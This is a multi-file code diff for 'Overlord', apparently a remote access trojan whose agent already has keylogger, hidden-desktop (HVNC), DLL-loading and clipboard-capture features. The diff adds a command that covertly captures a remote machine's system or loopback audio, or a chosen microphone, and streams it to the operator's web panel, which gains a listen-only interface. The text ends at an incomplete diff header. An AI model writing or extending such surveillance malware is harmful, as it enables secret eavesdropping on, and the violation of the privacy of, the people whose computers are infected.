diff --git a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go index 5050fe0..8a621c8 100644 --- a/Overlord-Client/cmd/agent/audio/voice_native_cgo.go +++ b/Overlord-Client/cmd/agent/audio/voice_native_cgo.go @@ -85,7 +85,7 @@ func ProbeCapabilities() Capabilities { caps := Capabilities{ Available: true, RequiresCGO: true, - Sources: []string{"default"}, + Sources: []string{"default", "system"}, DefaultSource: "default", } @@ -350,3 +350,118 @@ func (s *Session) Close() error { s.wg.Wait() return nil } + +func StartCaptureOnlySession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) { + if onCapture == nil { + return nil, errors.New("capture callback is required") + } + source = strings.TrimSpace(source) + + audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil) + if err != nil { + return nil, fmt.Errorf("audio init failed: %w", err) + } + + ctx, cancel := context.WithCancel(parent) + s := &Session{ + ctx: ctx, + cancel: cancel, + audioCtx: audioCtx, + uplink: make(chan []byte, 24), + queue: &playbackBuffer{}, + } + + capCfg := malgo.DefaultDeviceConfig(malgo.Capture) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + useLoopback := false + if strings.EqualFold(source, "system") { + capCfg = malgo.DefaultDeviceConfig(malgo.Loopback) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + useLoopback = true + } else if strings.HasPrefix(strings.ToLower(source), "device:") { + deviceName := strings.TrimSpace(source[len("device:"):]) + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", deviceName) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") { + deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture device was not found: %s", source) + } + capCfg.Capture.DeviceID = deviceID.Pointer() + } + + capCallbacks := malgo.DeviceCallbacks{ + Data: func(_, input []byte, _ uint32) { + if len(input) == 0 { + return + } + chunk := append([]byte(nil), input...) + select { + case s.uplink <- chunk: + default: + select { + case <-s.uplink: + default: + } + select { + case s.uplink <- chunk: + default: + } + } + }, + } + capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks) + if err != nil && useLoopback { + capCfg = malgo.DefaultDeviceConfig(malgo.Capture) + capCfg.SampleRate = voiceSampleRate + capCfg.Capture.Format = malgo.FormatS16 + capCfg.Capture.Channels = voiceChannels + deviceID, _, ok := findSystemCaptureDevice(audioCtx.Context) + if !ok || deviceID == nil { + audioCtx.Free() + cancel() + return nil, errors.New("system audio capture device was not found on this client") + } + capCfg.Capture.DeviceID = deviceID.Pointer() + capDev, err = malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks) + } + if err != nil { + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture init failed: %w", err) + } + s.capture = capDev + + if err := capDev.Start(); err != nil { + s.capture.Uninit() + audioCtx.Free() + cancel() + return nil, fmt.Errorf("audio capture start failed: %w", err) + } + + s.wg.Add(1) + go func() { + defer s.wg.Done() + for { + select { + case <-s.ctx.Done(): + return + case chunk := <-s.uplink: + onCapture(chunk) + } + } + }() + + return s, nil +} diff --git a/Overlord-Client/cmd/agent/audio/voice_stub.go b/Overlord-Client/cmd/agent/audio/voice_stub.go index 0ca3ada..595f4e8 100644 --- a/Overlord-Client/cmd/agent/audio/voice_stub.go +++ b/Overlord-Client/cmd/agent/audio/voice_stub.go @@ -30,3 +30,7 @@ func (s *Session) WritePlayback(_ []byte) error { func (s *Session) Close() error { return nil } + +func StartCaptureOnlySession(_ context.Context, _ string, _ func([]byte)) (*Session, error) { + return nil, errors.New("native voice support requires a CGO-enabled build") +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 9ae431a..8ba26d0 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -29,13 +29,15 @@ import ( var ErrReconnect = errors.New("reconnect requested") var ( - activeCommands = make(map[string]context.CancelFunc) - activeCommandsMu sync.Mutex - voiceSessionMu sync.Mutex - voiceSession *voiceRuntime - hvncInputOnce sync.Once - hvncInputQueue chan hvncInputEvent - hvncInputDropped atomic.Uint64 + activeCommands = make(map[string]context.CancelFunc) + activeCommandsMu sync.Mutex + voiceSessionMu sync.Mutex + voiceSession *voiceRuntime + desktopAudioMu sync.Mutex + desktopAudioSession *voiceRuntime + hvncInputOnce sync.Once + hvncInputQueue chan hvncInputEvent + hvncInputDropped atomic.Uint64 ) type hvncInputKind int @@ -455,6 +457,54 @@ func writeVoiceDownlink(data []byte) error { return nil } +func stopDesktopAudioSession() { + desktopAudioMu.Lock() + v := desktopAudioSession + desktopAudioSession = nil + desktopAudioMu.Unlock() + if v == nil { + return + } + if v.cancel != nil { + v.cancel() + } + if v.session != nil { + _ = v.session.Close() + } +} + +func startDesktopAudioSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error { + if sessionID == "" { + return errors.New("missing desktop audio session id") + } + + stopDesktopAudioSession() + + vCtx, cancel := context.WithCancel(ctx) + session, err := audio.StartCaptureOnlySession(vCtx, source, func(chunk []byte) { + if len(chunk) == 0 { + return + } + msg := map[string]interface{}{ + "type": "desktop_audio_uplink", + "sessionId": sessionID, + "data": chunk, + } + _ = wire.WriteMsg(vCtx, env.Conn, msg) + }) + if err != nil { + cancel() + return err + } + + v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session} + desktopAudioMu.Lock() + desktopAudioSession = v + desktopAudioMu.Unlock() + + return nil +} + func extractDLLBytes(payload map[string]interface{}) []byte { if payload == nil { return nil @@ -1754,6 +1804,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in caps := audio.ProbeCapabilities() payload, _ := json.Marshal(caps) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)}) + case "desktop_audio_start": + sessionID, _ := envelopePayloadString(envelope, "sessionId") + source := "system" + payload, _ := envelope["payload"].(map[string]interface{}) + if payload != nil { + if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" { + source = strings.TrimSpace(v) + } + } + if err := startDesktopAudioSession(ctx, env, sessionID, source); err != nil { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) + } + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "desktop_audio_stop": + stopDesktopAudioSession() + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) } switch action { diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 9ed1bc1..b444ebe 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -45,6 +45,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; const inputLatency = document.getElementById("inputLatency"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); + const audioCtrl = document.getElementById("audioCtrl"); ws.binaryType = "arraybuffer"; let activeClientId = clientId; @@ -98,6 +99,125 @@ import { checkFeatureAccess } from "./feature-gate.js"; h264KeyframeErrorStreak = 0; } + /* ── Remote Desktop Audio (system audio from client) ── */ + const AUDIO_SAMPLE_RATE = 16000; + const AUDIO_PLAYBACK_FRAME = 512; + const AUDIO_MAX_BUFFER_MS = 120; + let audioWs = null; + let audioPlayCtx = null; + let audioProcessorNode = null; + let audioChunks = []; + let audioChunkOffset = 0; + + function audioResampleInt16ToFloat32(srcInt16, srcRate, dstRate) { + if (!srcInt16 || srcInt16.length === 0) return new Float32Array(0); + if (srcRate === dstRate) { + const out = new Float32Array(srcInt16.length); + for (let i = 0; i < srcInt16.length; i++) out[i] = srcInt16[i] / 0x8000; + return out; + } + const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate)); + const out = new Float32Array(outLength); + const step = srcRate / dstRate; + for (let i = 0; i < outLength; i++) { + const srcPos = i * step; + const i0 = Math.floor(srcPos); + const i1 = Math.min(i0 + 1, srcInt16.length - 1); + const frac = srcPos - i0; + out[i] = (srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac) / 0x8000; + } + return out; + } + + function initAudioPlayback() { + if (!audioPlayCtx) { + audioPlayCtx = new AudioContext({ sampleRate: AUDIO_SAMPLE_RATE, latencyHint: "interactive" }); + } + if (!audioProcessorNode) { + audioProcessorNode = audioPlayCtx.createScriptProcessor(AUDIO_PLAYBACK_FRAME, 1, 1); + audioProcessorNode.onaudioprocess = function (event) { + const out = event.outputBuffer.getChannelData(0); + out.fill(0); + let writeIndex = 0; + while (writeIndex < out.length && audioChunks.length > 0) { + const head = audioChunks[0]; + const remaining = head.length - audioChunkOffset; + if (remaining <= 0) { audioChunks.shift(); audioChunkOffset = 0; continue; } + const take = Math.min(out.length - writeIndex, remaining); + out.set(head.subarray(audioChunkOffset, audioChunkOffset + take), writeIndex); + writeIndex += take; + audioChunkOffset += take; + if (audioChunkOffset >= head.length) { audioChunks.shift(); audioChunkOffset = 0; } + } + }; + audioProcessorNode.connect(audioPlayCtx.destination); + } + } + + function appendAudioPcm(binary) { + if (!audioPlayCtx) initAudioPlayback(); + const samples = Math.floor(binary.byteLength / 2); + if (samples <= 0) return; + const src = new Int16Array(binary.buffer, binary.byteOffset, samples); + const chunk = audioResampleInt16ToFloat32(src, AUDIO_SAMPLE_RATE, audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE); + if (chunk.length === 0) return; + audioChunks.push(chunk); + let buffered = -audioChunkOffset; + for (const c of audioChunks) buffered += c.length; + const rate = audioPlayCtx?.sampleRate || AUDIO_SAMPLE_RATE; + const max = Math.max(AUDIO_PLAYBACK_FRAME, Math.round(rate * (AUDIO_MAX_BUFFER_MS / 1000))); + while (buffered > max && audioChunks.length > 0) { + const dropped = audioChunks.shift(); + buffered -= dropped?.length || 0; + audioChunkOffset = 0; + } + } + + function connectAudio() { + if (audioWs && audioWs.readyState === WebSocket.OPEN) return; + // Create AudioContext in click/change handler so the browser trusts the user gesture. + initAudioPlayback(); + if (audioPlayCtx?.state === "suspended") audioPlayCtx.resume(); + const proto = location.protocol === "https:" ? "wss:" : "ws:"; + audioWs = new WebSocket(proto + "//" + location.host + "/api/clients/" + encodeURIComponent(clientId) + "/desktop-audio/ws"); + audioWs.binaryType = "arraybuffer"; + audioWs.onopen = function () { + audioWs.send(JSON.stringify({ type: "start", source: "system" })); + }; + audioWs.onmessage = function (ev) { + if (typeof ev.data === "string") return; + const bytes = new Uint8Array(ev.data); + if (bytes.byteLength > 1) appendAudioPcm(bytes); + }; + audioWs.onclose = function () { cleanupAudio(false); }; + audioWs.onerror = function () {}; + } + + function disconnectAudio() { + if (audioWs) { + try { audioWs.send(JSON.stringify({ type: "stop" })); } catch {} + try { audioWs.close(); } catch {} + audioWs = null; + } + cleanupAudio(true); + } + + function cleanupAudio(uncheckBox) { + if (audioProcessorNode) { + audioProcessorNode.disconnect(); + audioProcessorNode.onaudioprocess = null; + audioProcessorNode = null; + } + if (audioPlayCtx) { + audioPlayCtx.close().catch(function () {}); + audioPlayCtx = null; + } + audioChunks = []; + audioChunkOffset = 0; + audioWs = null; + if (uncheckBox && audioCtrl) audioCtrl.checked = false; + } + function resetH264SessionState() { resetH264RuntimeState(); h264RecoveryAttempts = 0; @@ -565,6 +685,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; desiredStreaming = false; setStreamState("stopping", "Stopping stream"); sendCmd("desktop_stop", {}); + disconnectAudio(); }); fullscreenBtn.addEventListener("click", function () { if (canvasContainer.requestFullscreen) { @@ -620,6 +741,15 @@ import { checkFeatureAccess } from "./feature-gate.js"; pushCaptureToggles(); }); } + if (audioCtrl) { + audioCtrl.addEventListener("change", function () { + if (audioCtrl.checked) { + connectAudio(); + } else { + disconnectAudio(); + } + }); + } if (qualitySlider) { updateQualityLabel(qualitySlider.value); @@ -1076,6 +1206,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; ws.addEventListener("close", function () { desiredStreaming = false; + disconnectAudio(); destroyVideoDecoder(); setStreamState("disconnected", "Disconnected"); }); @@ -1217,6 +1348,7 @@ import { checkFeatureAccess } from "./feature-gate.js"; desiredStreaming = false; sendCmd("desktop_stop", {}); } + disconnectAudio(); destroyVideoDecoder(); } diff --git a/Overlord-Server/public/assets/voice.js b/Overlord-Server/public/assets/voice.js index 0310202..941b460 100644 --- a/Overlord-Server/public/assets/voice.js +++ b/Overlord-Server/public/assets/voice.js @@ -17,6 +17,13 @@ const remoteWaveCanvas = document.getElementById("remote-wave"); const sourceSelect = document.getElementById("source-select"); const muteSelfBtn = document.getElementById("mute-self-btn"); const muteRemoteBtn = document.getElementById("mute-remote-btn"); +const micVolumeSlider = document.getElementById("mic-volume"); +const micVolumeLabel = document.getElementById("mic-volume-label"); +const remoteVolumeSlider = document.getElementById("remote-volume"); +const remoteVolumeLabel = document.getElementById("remote-volume-label"); + +let micGain = 1.0; +let remoteGain = 1.0; let ws = null; let mediaStream = null; @@ -25,6 +32,7 @@ let processorNode = null; let captureAudioCtx = null; let playAudioCtx = null; let playProcessorNode = null; +let playGainNode = null; let selfMuted = true; let remoteMuted = true; let playbackChunks = []; @@ -236,6 +244,11 @@ function initPlaybackEngine() { if (!playAudioCtx) { playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" }); } + if (!playGainNode) { + playGainNode = playAudioCtx.createGain(); + playGainNode.gain.value = remoteGain; + playGainNode.connect(playAudioCtx.destination); + } if (!playProcessorNode) { playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1); playProcessorNode.onaudioprocess = (event) => { @@ -266,7 +279,7 @@ function initPlaybackEngine() { } } }; - playProcessorNode.connect(playAudioCtx.destination); + playProcessorNode.connect(playGainNode); } } @@ -293,6 +306,9 @@ async function startMicCapture() { const inData = event.inputBuffer.getChannelData(0); const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate); + if (micGain !== 1.0) { + for (let i = 0; i < downsampled.length; i++) downsampled[i] *= micGain; + } localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled); const pcm16 = floatToInt16(downsampled); @@ -319,6 +335,10 @@ function stopMicCapture() { playProcessorNode.onaudioprocess = null; playProcessorNode = null; } + if (playGainNode) { + playGainNode.disconnect(); + playGainNode = null; + } if (playAudioCtx) { playAudioCtx.close().catch(() => {}); playAudioCtx = null; @@ -437,6 +457,7 @@ async function loadCapabilities() { } const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"]; + if (!sources.includes("system")) sources.push("system"); const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0]; if (sourceSelect) { @@ -468,6 +489,16 @@ muteRemoteBtn?.addEventListener("click", () => { }); window.addEventListener("beforeunload", disconnectVoice); +micVolumeSlider?.addEventListener("input", () => { + micGain = parseInt(micVolumeSlider.value, 10) / 100; + if (micVolumeLabel) micVolumeLabel.textContent = micVolumeSlider.value + "%"; +}); +remoteVolumeSlider?.addEventListener("input", () => { + remoteGain = parseInt(remoteVolumeSlider.value, 10) / 100; + if (playGainNode) playGainNode.gain.value = remoteGain; + if (remoteVolumeLabel) remoteVolumeLabel.textContent = remoteVolumeSlider.value + "%"; +}); + updateMuteButtons(); drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)"); drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)"); @@ -478,3 +509,207 @@ checkFeatureAccess("voice", clientId).then(ok => { connectBtn.disabled = true; } }); + +/* ===================================================================== + Desktop Audio – independent listen-only stream (system/loopback) + ===================================================================== */ + +const daConnectBtn = document.getElementById("da-connect-btn"); +const daDisconnectBtn = document.getElementById("da-disconnect-btn"); +const daStatusPill = document.getElementById("da-status-pill"); +const daWaveCanvas = document.getElementById("da-wave"); +const daVolumeSlider = document.getElementById("da-volume"); +const daVolumeLabel = document.getElementById("da-volume-label"); + +let daWs = null; +let daGain = 1.0; +let daPlayAudioCtx = null; +let daPlayProcessorNode = null; +let daPlayGainNode = null; +let daPlaybackChunks = []; +let daPlaybackChunkReadOffset = 0; +let daLevelLoop = false; +const DA_WAVE_SIZE = 2048; +const daWaveBuffer = new Float32Array(DA_WAVE_SIZE); +let daWaveWrite = 0; + +function daSetStatus(text, cls) { + if (!daStatusPill) return; + daStatusPill.className = + "inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls; + daStatusPill.innerHTML = `${text}`; +} + +function daClearPlayback() { + daPlaybackChunks = []; + daPlaybackChunkReadOffset = 0; +} + +function daStartLevelLoop() { + if (daLevelLoop) return; + daLevelLoop = true; + const tick = () => { + if (!daLevelLoop) return; + drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); + requestAnimationFrame(tick); + }; + requestAnimationFrame(tick); +} + +function daStopLevelLoop() { + daLevelLoop = false; + daWaveBuffer.fill(0); + daWaveWrite = 0; + drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); +} + +function daInitPlaybackEngine() { + if (!daPlayAudioCtx) { + daPlayAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" }); + } + if (!daPlayGainNode) { + daPlayGainNode = daPlayAudioCtx.createGain(); + daPlayGainNode.gain.value = daGain; + daPlayGainNode.connect(daPlayAudioCtx.destination); + } + if (!daPlayProcessorNode) { + daPlayProcessorNode = daPlayAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1); + daPlayProcessorNode.onaudioprocess = (event) => { + const out = event.outputBuffer.getChannelData(0); + out.fill(0); + let writeIndex = 0; + while (writeIndex < out.length && daPlaybackChunks.length > 0) { + const head = daPlaybackChunks[0]; + const remaining = head.length - daPlaybackChunkReadOffset; + if (remaining <= 0) { + daPlaybackChunks.shift(); + daPlaybackChunkReadOffset = 0; + continue; + } + const needed = out.length - writeIndex; + const take = Math.min(needed, remaining); + out.set(head.subarray(daPlaybackChunkReadOffset, daPlaybackChunkReadOffset + take), writeIndex); + writeIndex += take; + daPlaybackChunkReadOffset += take; + if (daPlaybackChunkReadOffset >= head.length) { + daPlaybackChunks.shift(); + daPlaybackChunkReadOffset = 0; + } + } + }; + daPlayProcessorNode.connect(daPlayGainNode); + } +} + +function daAppendPcm(binary) { + if (!daPlayAudioCtx) daInitPlaybackEngine(); + const samples = Math.floor(binary.byteLength / 2); + if (samples <= 0) return; + const src = new Int16Array(binary.buffer, binary.byteOffset, samples); + const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE); + if (chunk.length === 0) return; + daPlaybackChunks.push(chunk); + daWaveWrite = pushWaveSamples(daWaveBuffer, daWaveWrite, chunk); + + const sampleRate = daPlayAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE; + const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000))); + let buffered = -daPlaybackChunkReadOffset; + for (const c of daPlaybackChunks) buffered += c.length; + while (buffered > maxSamples && daPlaybackChunks.length > 0) { + const dropped = daPlaybackChunks.shift(); + buffered -= dropped?.length || 0; + daPlaybackChunkReadOffset = 0; + } +} + +function daCleanup() { + if (daPlayProcessorNode) { + daPlayProcessorNode.disconnect(); + daPlayProcessorNode.onaudioprocess = null; + daPlayProcessorNode = null; + } + if (daPlayGainNode) { + daPlayGainNode.disconnect(); + daPlayGainNode = null; + } + if (daPlayAudioCtx) { + daPlayAudioCtx.close().catch(() => {}); + daPlayAudioCtx = null; + } + daStopLevelLoop(); + daClearPlayback(); +} + +function daConnect() { + if (daWs && daWs.readyState === WebSocket.OPEN) return; + daClearPlayback(); + daStartLevelLoop(); + // Create AudioContext inside click handler so the browser trusts the user gesture. + daInitPlaybackEngine(); + if (daPlayAudioCtx?.state === "suspended") daPlayAudioCtx.resume(); + + const proto = window.location.protocol === "https:" ? "wss" : "ws"; + daWs = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/desktop-audio/ws`); + daWs.binaryType = "arraybuffer"; + + daWs.onopen = () => { + daSetStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100"); + daConnectBtn.disabled = true; + daDisconnectBtn.disabled = false; + daWs.send(JSON.stringify({ type: "start" })); + }; + + daWs.onmessage = (ev) => { + if (typeof ev.data === "string") { + try { + const msg = JSON.parse(ev.data); + console.log("[desktop-audio] status message:", msg); + if (msg?.type === "status") { + if (msg.status === "offline") { + daSetStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200"); + } else if (msg.status === "connected") { + daSetStatus("Listening", "border-emerald-700 bg-emerald-900/40 text-emerald-100"); + } else if (msg.status === "error") { + daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100"); + } + } + } catch {} + return; + } + const bytes = new Uint8Array(ev.data); + if (bytes.byteLength > 1) daAppendPcm(bytes); + }; + + daWs.onclose = () => { + daCleanup(); + daConnectBtn.disabled = false; + daDisconnectBtn.disabled = true; + daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); + }; + + daWs.onerror = () => { + daSetStatus("Error", "border-red-700 bg-red-900/40 text-red-100"); + }; +} + +function daDisconnect() { + daCleanup(); + if (daWs) { + try { daWs.send(JSON.stringify({ type: "stop" })); } catch {} + try { daWs.close(); } catch {} + daWs = null; + } + daConnectBtn.disabled = false; + daDisconnectBtn.disabled = true; + daSetStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300"); +} + +daConnectBtn?.addEventListener("click", daConnect); +daDisconnectBtn?.addEventListener("click", daDisconnect); +daVolumeSlider?.addEventListener("input", () => { + daGain = parseInt(daVolumeSlider.value, 10) / 100; + if (daPlayGainNode) daPlayGainNode.gain.value = daGain; + if (daVolumeLabel) daVolumeLabel.textContent = daVolumeSlider.value + "%"; +}); +window.addEventListener("beforeunload", daDisconnect); +drawWave(daWaveCanvas, daWaveBuffer, daWaveWrite, "rgba(251, 191, 36, 0.95)"); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index d5138ed..84205a5 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -140,6 +140,9 @@ Clipboard Sync + Audio Smoothing diff --git a/Overlord-Server/public/voice.html b/Overlord-Server/public/voice.html index e212f1f..2d1e5fd 100644 --- a/Overlord-Server/public/voice.html +++ b/Overlord-Server/public/voice.html @@ -54,16 +54,64 @@ - Your Mic (You -> Client) + + Your Mic (You -> Client) + + + + 100% + + - Client Audio (Client -> You) + + Client Audio (Client -> You) + + + + 100% + + Uses native Go audio capture/playback on the client agent. If unavailable, rebuild agent with CGO enabled. + + + + + Desktop Audio + Listen to the client's system audio (speakers/loopback). Listen-only, no mic. + + + Disconnected + + + + + + Start Listening + + + Stop Listening + + + + + + Desktop Audio (Client Speakers -> You) + + + + 100% + + + + + Captures system/loopback audio from the client. Requires a Stereo Mix or loopback capture device enabled on the client machine. + diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 35ed3ba..3b24fb8 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -123,6 +123,12 @@ import { handleVoiceViewerMessage, handleVoiceViewerOpen, } from "./server/ws-voice"; +import { + cleanupDesktopAudioViewer, + handleDesktopAudioUplink, + handleDesktopAudioViewerMessage, + handleDesktopAudioViewerOpen, +} from "./server/ws-desktop-audio"; import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin"; import { loadOrGenerateVapidKeys } from "./server/web-push"; import * as clientManager from "./clientManager"; @@ -496,6 +502,7 @@ async function startServer() { handleProcessViewerOpen, handleKeyloggerViewerOpen, handleVoiceViewerOpen, + handleDesktopAudioViewerOpen, handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket) => { const id = crypto.randomUUID(); ws.data.sessionId = id; @@ -564,6 +571,7 @@ async function startServer() { handleProcessViewerMessage, handleKeyloggerViewerMessage, handleVoiceViewerMessage, + handleDesktopAudioViewerMessage, dispatchAutoScriptsForConnection, dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket) => { const proto = tls ? "https" : "http"; @@ -603,12 +611,14 @@ async function startServer() { handlePluginEvent: notificationPluginHandlers.handlePluginEvent, handleNotification: notificationPluginHandlers.handleNotification, handleVoiceUplink, + handleDesktopAudioUplink, handleWebcamDevices, handleHVNCCloneProgress, handleHVNCLookupResult, handleHVNCDXGIStatus, handleClipboardContent, cleanupVoiceViewer, + cleanupDesktopAudioViewer, stopConsoleOnTarget, sendDesktopCommand, sendHVNCCommand, diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index bc2d891..3fb35a5 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -90,6 +90,8 @@ export type CommandType = | "voice_session_stop" | "voice_downlink" | "voice_capabilities" + | "desktop_audio_start" + | "desktop_audio_stop" | "process_list" | "process_kill" | "plugin_load" diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 9fc85dd..caacf4b 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -44,6 +44,7 @@ type WsLifecycleDeps = { handleProcessViewerOpen: (ws: ServerWebSocket) => void; handleKeyloggerViewerOpen: (ws: ServerWebSocket) => void; handleVoiceViewerOpen: (ws: ServerWebSocket) => void; + handleDesktopAudioViewerOpen: (ws: ServerWebSocket) => void; handleNotificationViewerOpen: (ws: ServerWebSocket) => void; handleChatViewerOpen: (ws: ServerWebSocket) => void; handleChatViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; @@ -55,6 +56,7 @@ type WsLifecycleDeps = { handleProcessViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleKeyloggerViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; handleVoiceViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; + handleDesktopAudioViewerMessage: (ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) => void; dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket) => void; dispatchAutoLoadPlugins: (info: ClientInfo) => void; @@ -79,12 +81,14 @@ type WsLifecycleDeps = { handlePluginEvent: (clientId: string, payload: any) => void; handleNotification: (clientId: string, payload: any) => void; handleVoiceUplink: (clientId: string, payload: any) => void; + handleDesktopAudioUplink: (clientId: string, payload: any) => void; handleWebcamDevices: (clientId: string, payload: any) => void; handleHVNCCloneProgress: (clientId: string, payload: any) => void; handleHVNCLookupResult: (clientId: string, payload: any) => void; handleHVNCDXGIStatus: (clientId: string, payload: any) => void; handleClipboardContent: (clientId: string, payload: any) => void; cleanupVoiceViewer: (ws: ServerWebSocket) => void; + cleanupDesktopAudioViewer: (ws: ServerWebSocket) => void; stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void; sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record) => void; sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record) => void; @@ -153,6 +157,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif if (role === "process_viewer") return deps.handleProcessViewerOpen(ws); if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws); if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws); + if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws); if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws); if (role === "chat_viewer") return deps.handleChatViewerOpen(ws); @@ -204,6 +209,7 @@ export async function handleWebSocketMessage( if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message); if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message); if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message); + if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message); if (socketRole === "notifications_viewer") return; if (socketRole === "dashboard_viewer") return; if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message); @@ -578,6 +584,9 @@ export async function handleWebSocketMessage( case "voice_uplink": deps.handleVoiceUplink(client.id, payload); break; + case "desktop_audio_uplink": + deps.handleDesktopAudioUplink(client.id, payload); + break; case "webcam_devices": deps.handleWebcamDevices(client.id, payload); break; @@ -736,6 +745,11 @@ export function handleWebSocketClose( return; } + if (role === "desktop_audio_viewer") { + deps.cleanupDesktopAudioViewer(ws); + return; + } + if (role === "notifications_viewer") { if (sessionId) { sessionManager.deleteNotificationSession(sessionId); diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts 